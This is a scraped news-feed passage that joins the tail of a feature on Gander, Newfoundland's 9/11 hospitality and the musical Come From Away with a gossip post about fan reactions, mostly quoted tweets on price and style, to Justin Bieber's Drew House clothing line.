People started offering rides, showers and telephone time and many emptied their linen closets to find sheets, towels, pillows and blankets. Stores donated toothbrushes, nappies and underwear and school bus drivers suspended a strike to help out.

When the time finally came to leave and continue their journeys, some of the “plane people”, as the locals called them, were bitterly upset. Some had fallen in love. Some wanted to stay. All had deep-rooted reasons to be eternally grateful to Gander for the warmth of its hospitality.

They had struck lucky in landing at the town which is located on the north-eastern shore of Lake Gander in Newfoundland. As an important refuelling stop for transatlantic airliners, the airport was once the largest in the world and in 2001 was still a preferred emergency landing point for aircraft with onboard medical or security issues.

During the Second World War, Gander became a strategic post for the Royal Air Force Air Ferry Command, with an estimated 20,000 American and Canadian-built fighters and bombers stopping there on their way to Europe.

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Gander’s population: 9,651 (Image: Alamy Stock Photo)

To this day, most of the streets in Gander are named after famous aviators, including Alcock and Brown, Amelia Earhart, Charles Lindbergh, Eddie Rickenbacker and Chuck Yeager.

In the traumatic hours after 9/11, however, no one cared much about the street names or Gander’s past role in aviation.

All the plane people wanted was security, safety and reassuring arms around them. Many of them were stranded for 30 hours, on planes that were kept on taxiways away from the airport terminal for fear of further terrorist attacks.

So it wasn’t until the day after 9/11 that most of them got their first taste of Gander’s hospitality and after having no contact with the outside world they slowly tried to come to terms with the events in New York, Washington and Pennsylvania in which almost 3,000 people died.

Come From Away, the other description locals used for the plane people, is the brainchild of husband-and-wife-team David Hein and Irene Sankoff, Canadian musical-theatre-makers who were living in New York in 2001.

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Claude Elliott (Image: Claude Elliott)

The musical began to take shape after they spent several weeks in Gander in 2011, attending a 10-year reunion of the “come from aways”.

The stories they heard and the deep bonds they witnessed inspired them and they spent hundreds of hours interviewing people before they boiled down all the conversations into a 100-minute production that features just 12 actors who speak many of the actual words from the interviews.

There was also a BBC radio play, The Day The Planes Came, and a TV movie before the musical opened in Canada to huge critical acclaim. “Everyone on stage is to some degree a composite of multiple people,” Hein said in a BBC interview. “In that way we wanted to represent everyone who had either helped people or were being helped on that day.

“We weren’t trying to write a 9/11 story, we often call it a ‘9/12’ story because it starts on the day after. We wanted to tell the story of what happened in Newfoundland. It’s not about the tragedy; it’s about how this small community responded to the tragedy.” One couple, Nick Marson and his future wife Diane, meet and fall in love – another separates.

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Nick and Diane Marson who met and fell in love (Image: Nick and Diane Marson)

Beverley Bass, American Airlines’ first female captain, is a central figure, as is Bonnie Harris, the animal carer who took charge of a menagerie of 19 – including a pregnant Bonobo chimpanzee.

The whole musical is suffused with Gander’s gentle idiosyncrasies and unique customs, Irish/Newfoundlander dialect and an eccentric indoctrination ceremony which involves kissing a cod. Plus a local rum called screech, which is the noise people make when they drink it.

It opens on the morning of 9/11 as Gander’s townsfolk including Claude Elliott the mayor, Oz Fudge the police constable and Beulah Davis the teacher, describe how they learned of the terrorist attacks. As the diverted planes land, they spring into action to feed, clothe and comfort the travellers.

Meanwhile the pilots, flight attendants and passengers are initially not allowed to leave the planes, forcing them to deal with confusing and conflicting information about what has happened.

Once they’re allowed off the planes and transferred to emergency shelters, the passengers and crew watch replays of the attacks on the news and learn the true reason why they were grounded.

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Show: From tragedy comes joy and inspiration (Image: Matthew Murphy)

He frightened and lonely passengers desperately try to contact their families and pray for their loved ones, while the townsfolk work through the night to help them in any way they can.

Pilot Bev Bass comments on how her once optimistic view of the world has suddenly changed.

Eventually, the passengers continue their journey but not before a Muslim chef, who offered to cook for them, is made to undergo a humiliating strip search before being allowed to board.

The musical’s finale is set 10 years later when the plane people return to Gander and celebrate the lifelong friendships they have forged. 

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Come From Away lands at the Phoenix Theatre on 30 January 2019 (Image: Matthew Murphy)

As the mayor puts it: “Tonight we honour what was lost, but we also commemorate what we found. We started off with 7,000 strangers, but we finished with 7,000 family members.”

Irene Sankoff admits she and Hein were worried the show would never make it to Broadway. “I remember the first performance in the States, just sinking in my seat, thinking ‘Whose idea was this?’,” she says. But their fears were ungrounded.

On Broadway, Newsweek said of the show: “It takes you to a place where you didn’t know you wanted to go, and makes you not want to leave.” From tragedy comes joy and inspiration.

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]]> https://briefnews.eu/puerto-ricos-biggest-bank-came-out-of-hurricane-maria-stronger/feed/ 0 The Biebs Came Out With A Streetwear Line And It's Gonna Be A No For Me, Dawg https://briefnews.eu/the-biebs-came-out-with-a-streetwear-line-and-its-gonna-be-a-no-for-me-dawg/ https://briefnews.eu/the-biebs-came-out-with-a-streetwear-line-and-its-gonna-be-a-no-for-me-dawg/#respond Fri, 01 Feb 2019 19:04:48 +0000 http://briefnews.eu/the-biebs-came-out-with-a-streetwear-line-and-its-gonna-be-a-no-for-me-dawg/

Anyone who knows me knows that there are few things I love more in life than Canadian sensation Justin Drew Bieber.


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So, when I found out that he was dropping a streetwear line back in November, ya girl COULDN’T WAIT!


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The label is called “Drew,” which is J-Biebz’s middle name.

When he finally launched the line this week, I had my Chase Visa R E A D Y! But, then I saw the clothes, and was like, skrrrrrt. And, trust, I wasn’t the only one.

Don’t get me wrong, a LOT of people are here for his clothes. If you check their website, everything is already sold out, like #wow.

if you THINK im paying this much for a t-shirt from justin bieber's clothing line then you are ABSOLUTELY correct

if you THINK im paying this much for a t-shirt from justin bieber's clothing line then you are ABSOLUTELY correct

However, it is 2019, and in the time of memes, some of Bieb nation has taken it upon themselves to make pop culture jokes about the clothing line, which had me cackling.

Why do so many famous people want the rest of us to dress like we're in The Hunger Games? https://t.co/9v551YzJy3

Why do so many famous people want the rest of us to dress like we're in The Hunger Games? https://t.co/9v551YzJy3

Some Beliebers were making jokes about what the clothes ~actually~ looked like vs. what JB wanted them to look like:

@thefader @justinbieber Looks like my laundry when I forget to separate before washing.

@thefader @justinbieber Looks like my laundry when I forget to separate before washing.

A decent amount of the fandom was not here for these prices…

drew house prices are insane and a whole joke. 140$ for a simple hoodie with a smiley face on it when i can buy something like that at primark? bruh @justinbieber get your shit together

drew house prices are insane and a whole joke. 140$ for a simple hoodie with a smiley face on it when i can buy something like that at primark? bruh @justinbieber get your shit together

Drew House: “an AFFORDABLE range of high quality staples” *clicks on website* Drew Hoodie: $ 98.00

Drew House: “an AFFORDABLE range of high quality staples”

*clicks on website*

Drew Hoodie: $ 98.00

However, some of Bieb nation is high-key here for his new fashion venture:

So I do get the complaints, but I feel like you guys should understand WHY it's still a high price even though they say it's affordable. And they're limited, but high quality. It says in the description.

So I do get the complaints, but I feel like you guys should understand WHY it's still a high price even though they say it's affordable. And they're limited, but high quality. It says in the description.

BUT, regardless of the clothes, or what they remind you of, or even how much they cost, the general consensus is that WE WANT NEW MUSIC, JUSTIN!

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